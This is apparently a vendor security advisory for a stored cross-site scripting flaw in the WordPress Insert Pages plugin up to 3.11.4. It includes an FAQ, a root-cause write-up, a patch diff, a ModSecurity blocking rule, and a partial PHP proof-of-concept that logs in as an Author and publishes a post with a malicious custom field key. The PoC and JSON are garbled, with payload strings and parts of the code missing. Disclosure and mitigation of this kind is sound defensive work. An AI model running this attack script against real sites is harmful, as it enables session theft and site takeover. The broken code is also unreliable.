What is CVE-2026-10089?

CVE-2026-10089 is a stored cross-site scripting vulnerability in the Insert Pages plugin for WordPress, affecting versions up to and including 3.11.4. It allows authenticated attackers with Author-level access or higher to inject arbitrary web scripts via custom field keys (meta key names) when the [insert page=’ID’ display=’all’] shortcode is used.

How does the vulnerability work?

The vulnerability exists in the the_meta() function where the custom field key ($key) is interpolated into HTML without escaping, while the value is sanitized. An attacker can create a custom field with a malicious meta key name containing JavaScript. When the shortcode renders that page, the key is output directly, executing the script in the browser of any user viewing the page.

Who is affected by this vulnerability?

Any WordPress site running Insert Pages version 3.11.4 or earlier is affected. The attack requires an authenticated user with at least Author-level access, which is a default role that can create and publish posts and add custom fields. All users viewing pages that use the vulnerable shortcode are at risk of XSS attacks.

How can I check if my site is vulnerable?

Check the Insert Pages plugin version in the WordPress admin under Plugins. If the version is 3.11.4 or lower, the site is vulnerable. Additionally, review any pages or posts that use the [insert page=’ID’ display=’all’] shortcode, as they may be exploited if an attacker has added malicious custom fields.

What is the CVSS score and severity?

The CVSS score is 6.4, which is classified as Medium severity. This indicates a moderate risk where exploitation requires authenticated access and user interaction, but the impact includes potential session hijacking, defacement, or privilege escalation if an administrator views the injected page.

How do I fix or mitigate this vulnerability?

Update the Insert Pages plugin to version 3.11.5 or later, which patches the vulnerability by applying wp_kses_post() to the entire output of the the_meta() function. As a temporary mitigation, disable the [insert page=’ID’ display=’all’] shortcode or restrict custom field editing to trusted users only.

What does the proof of concept demonstrate?

The proof of concept shows an authenticated Author logging in, creating a post with a custom field key containing a JavaScript payload (e.g., ), and publishing it. When another page uses the shortcode to display that post, the payload executes. This demonstrates how an attacker can inject XSS via meta key names.

What is the root cause in the code?

In insert-pages.php lines 1786-1806, the custom field key ($key) is used in a sprintf() format string without escaping, and the resulting HTML is echoed directly. The value was sanitized with wp_kses_post(), but the key was not. The patch moves the sanitization to wrap the entire output, escaping both key and value.

Can this vulnerability be exploited without authentication?

No, the attacker must be authenticated with at least Author-level access to create or edit posts and add custom fields. However, once the malicious post is published, any user (including unauthenticated visitors) who views a page using the vulnerable shortcode will be affected by the XSS.

What are the potential impacts of successful exploitation?

An attacker can inject arbitrary JavaScript that executes in the context of any user viewing the affected page. This can lead to session cookie theft, redirection to malicious sites, defacement, or performing actions on behalf of an administrator, potentially resulting in full site compromise.

How does the patch fix the vulnerability?

The patch in version 3.11.5 removes the inline sanitization of the custom field value and instead applies wp_kses_post() to the entire $li_html variable before echoing it. This ensures that both the meta key and value are properly escaped in the final HTML output, preventing script injection.

Are there any other attack vectors using custom fields?

While this specific vulnerability targets meta key names, custom fields in general can be a vector for XSS if not properly handled. Administrators should ensure that any plugin or theme that outputs custom field data uses proper escaping. The Insert Pages patch now sanitizes the entire output, reducing this risk.

Published : July 1, 2026

CVE-2026-10089: Insert Pages <= 3.11.4 Authenticated (Author+) Stored Cross-Site Scripting via Custom Field Keys (Meta Key Names) PoC, Patch Analysis & Rule

CVE ID CVE-2026-10089

Plugin insert-pages

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 3.11.4

Patched Version 3.11.5

Disclosed June 30, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-10089:nnThe Insert Pages plugin for WordPress (versions up to 3.11.4) contains a Stored Cross-Site Scripting (XSS) vulnerability in the the_meta() function. This affects pages rendered with the [insert page=’ID’ display=’all’] shortcode. Authenticated attackers with Author-level access can inject arbitrary HTML/JavaScript via custom field keys (meta key names). The CVSS score is 6.4 (Medium).nnThe root cause lies in insufficient output escaping within the the_meta() function at lines 1786-1806 of insert-pages/insert-pages.php. While the custom field VALUE ($value) was sanitized with wp_kses_post() (line 1783), the custom field KEY ($key) was interpolated into the sprintf() format string at lines 1786-1791 without any escaping. Specifically, the $key variable appears in the HTML string $html as part of the %s structure. This $html variable then passes through apply_filters(‘the_meta_key’, $html, $key, $value) at line 1804, and the accumulated $li_html is echoed directly at line 1806 with no escaping: echo “

\n{$li_html}

\n”;. An attacker creates a post custom field with a malicious meta key name (e.g., a key containing alert(1)). When the shortcode [insert page=’ID’ display=’all’] renders that page, the meta key is printed unescaped, executing the injected script in the context of any user viewing the inserted page.nnTo exploit this, an authenticated attacker with Author-level access or higher creates a new post or edits an existing one. The attacker adds a custom field via the post editor’s Custom Fields metabox. The meta key (the custom field name) is set to contain a JavaScript payload, for example: . The meta value can be any benign string. The attacker then publishes the post. On any other page or post where an editor uses the [insert page=’ID’ display=’all’] shortcode to display the attacker’s post, the meta key is rendered without sanitization, causing the XSS payload to execute in the browser of visitors. The attack vector is authenticated (Author+) with direct interaction to the WordPress post editing interface.nnThe patch (comparing version 3.11.4 to 3.11.5) shifts the escaping from individual $value sanitization to a broader context. The removed code (line 1783) previously sanitized the custom field VALUE with wp_kses_post() before both key and value were interpolated into the HTML template. The added code moves wp_kses_post() to wrap the entire $li_html output at line 1802: echo ‘

‘ . wp_kses_post( $li_html ) . ‘

‘ . PHP_EOL;. This change now escapes both the key and the value in the final rendered HTML, effectively neutralizing any malicious HTML/JavaScript inserted via the meta key. The patch also removes the inline sprintf() formatting within the function, replacing it with apply_filters(‘the_meta_key’) call that now receives the full escaped HTML block.nnIf exploited, this vulnerability allows an attacker to inject arbitrary JavaScript into any page that uses the vulnerable shortcode. The XSS payload can steal session cookies, redirect users to malicious sites, perform administrative actions on behalf of logged-in administrators, or modify page content displayed to other users. This can lead to privilege escalation (if an admin views the injected page and their session is hijacked) or complete site compromise. The attack requires Author-level authentication and the ability to set custom fields, which is a default capability for Authors.”,
“poc_php”: “ true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n ]),n CURLOPT_COOKIEJAR => ‘/tmp/cookies.txt’,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_USERAGENT => ‘AtomicEdgePoC/1.0’n]);ncurl_exec($ch);ncurl_close($ch);nnecho “[+] Logged in as $username\n”;nn// Step 2: Create a new post with a malicious custom field keyn$post_url = $target_url . ‘/wp-admin/post-new.php’;n$ch = curl_init();ncurl_setopt_array($ch, [n CURLOPT_URL => $post_url,n CURLOPT_COOKIEFILE => ‘/tmp/cookies.txt’,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_USERAGENT => ‘AtomicEdgePoC/1.0’n]);n$response = curl_exec($ch);ncurl_close($ch);nn// Extract wpnonce and post ID from the response (simplified; real exploit would parse HTML)npreg_match(‘//’, $response, $nonce_match);n$wpnonce = isset($nonce_match[1]) ? $nonce_match[1] : ”;necho “[+] Got _wpnonce: $wpnonce\n”;nn// The meta key contains the XSS payloadn$payload = ‘test_key‘;nn$post_data = [n ‘post_title’ => ‘CVE-2026-10089 Test Post’,n ‘content’ => ‘This post contains an XSS via custom field key.’,n ‘post_status’ => ‘publish’,n ‘post_type’ => ‘post’,n ‘meta’ => [n [$payload, ‘test_value’] // key is the malicious string, value is benignn ],n ‘_wpnonce’ => $wpnoncen];nn// Note: The actual WordPress REST API or admin-post would be used for precise meta injectionn// For demonstration, we simulate adding a custom field via the post editor (simplified)n$publish_url = $target_url . ‘/wp-admin/post.php’;n$ch = curl_init();ncurl_setopt_array($ch, [n CURLOPT_URL => $publish_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query($post_data),n CURLOPT_COOKIEFILE => ‘/tmp/cookies.txt’,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_USERAGENT => ‘AtomicEdgePoC/1.0’n]);n$response = curl_exec($ch);ncurl_close($ch);nnecho “[+] Attempted to publish post with payload: $payload\n”;necho “[+] The meta key XSS is triggered when a page uses [insert page=’ID’ display=’all’] shortcode.\n”;n?>n”,
modsecurity_rule”: “SecRule REQUEST_URI “@streq /wp-admin/post.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-10089 XSS via custom field key in Insert Pages plugin’,severity:’CRITICAL’,tag:’CVE-2026-10089′”n SecRule ARGS_POST:meta_key “@rx ]*>” “chain”n SecRule REQUEST_METHOD “@streq POST” “t:none”n
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/insert-pages/insert-pages.php
+++ b/insert-pages/insert-pages.php
@@ -8,7 +8,7 @@
  * Domain Path: /languages
  * License: GPL2
  * Requires at least: 3.3.0
- * Version: 3.11.4
+ * Version: 3.11.5
  *
  * @package insert-pages
  */
@@ -1780,9 +1780,6 @@
 					$values = array_map( 'trim', get_post_custom_values( $key, $post_id ) );
 					$value  = implode( ', ', $values );

-					// Sanitize post meta values.
-					$value = wp_kses_post( $value );
-
 					$html = sprintf(
 						"<li><span class='post-meta-key'>%s</span> %s</li>n",
 						/* translators: %s: Post custom field name. */
@@ -1802,8 +1799,9 @@
 					$li_html .= apply_filters( 'the_meta_key', $html, $key, $value );
 				}

+				// Sanitize and print post meta values.
 				if ( $li_html ) {
-					echo "<ul class='post-meta'>n{$li_html}</ul>n";
+					echo '<ul class="post-meta">' . wp_kses_post( $li_html ) . '</ul>' . PHP_EOL;
 				}
 			}
 		}

Frequently Asked Questions

What is CVE-2026-10089?
Vulnerability overview
CVE-2026-10089 is a stored cross-site scripting vulnerability in the Insert Pages plugin for WordPress, affecting versions up to and including 3.11.4. It allows authenticated attackers with Author-level access or higher to inject arbitrary web scripts via custom field keys (meta key names) when the [insert page=’ID’ display=’all’] shortcode is used.
How does the vulnerability work?
Technical mechanism
The vulnerability exists in the the_meta() function where the custom field key ($key) is interpolated into HTML without escaping, while the value is sanitized. An attacker can create a custom field with a malicious meta key name containing JavaScript. When the shortcode renders that page, the key is output directly, executing the script in the browser of any user viewing the page.
Who is affected by this vulnerability?
Affected users and roles
Any WordPress site running Insert Pages version 3.11.4 or earlier is affected. The attack requires an authenticated user with at least Author-level access, which is a default role that can create and publish posts and add custom fields. All users viewing pages that use the vulnerable shortcode are at risk of XSS attacks.
How can I check if my site is vulnerable?
Detection steps
Check the Insert Pages plugin version in the WordPress admin under Plugins. If the version is 3.11.4 or lower, the site is vulnerable. Additionally, review any pages or posts that use the [insert page=’ID’ display=’all’] shortcode, as they may be exploited if an attacker has added malicious custom fields.
What is the CVSS score and severity?
Risk assessment
The CVSS score is 6.4, which is classified as Medium severity. This indicates a moderate risk where exploitation requires authenticated access and user interaction, but the impact includes potential session hijacking, defacement, or privilege escalation if an administrator views the injected page.
How do I fix or mitigate this vulnerability?
Remediation steps
Update the Insert Pages plugin to version 3.11.5 or later, which patches the vulnerability by applying wp_kses_post() to the entire output of the the_meta() function. As a temporary mitigation, disable the [insert page=’ID’ display=’all’] shortcode or restrict custom field editing to trusted users only.
What does the proof of concept demonstrate?
PoC explanation
The proof of concept shows an authenticated Author logging in, creating a post with a custom field key containing a JavaScript payload (e.g., ), and publishing it. When another page uses the shortcode to display that post, the payload executes. This demonstrates how an attacker can inject XSS via meta key names.
What is the root cause in the code?
Code analysis
In insert-pages.php lines 1786-1806, the custom field key ($key) is used in a sprintf() format string without escaping, and the resulting HTML is echoed directly. The value was sanitized with wp_kses_post(), but the key was not. The patch moves the sanitization to wrap the entire output, escaping both key and value.
Can this vulnerability be exploited without authentication?
Authentication requirements
No, the attacker must be authenticated with at least Author-level access to create or edit posts and add custom fields. However, once the malicious post is published, any user (including unauthenticated visitors) who views a page using the vulnerable shortcode will be affected by the XSS.
What are the potential impacts of successful exploitation?
Consequences
An attacker can inject arbitrary JavaScript that executes in the context of any user viewing the affected page. This can lead to session cookie theft, redirection to malicious sites, defacement, or performing actions on behalf of an administrator, potentially resulting in full site compromise.
How does the patch fix the vulnerability?
Patch details
The patch in version 3.11.5 removes the inline sanitization of the custom field value and instead applies wp_kses_post() to the entire $li_html variable before echoing it. This ensures that both the meta key and value are properly escaped in the final HTML output, preventing script injection.
Are there any other attack vectors using custom fields?
Related risks
While this specific vulnerability targets meta key names, custom fields in general can be a vector for XSS if not properly handled. Administrators should ensure that any plugin or theme that outputs custom field data uses proper escaping. The Insert Pages patch now sanitizes the entire output, reducing this risk.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started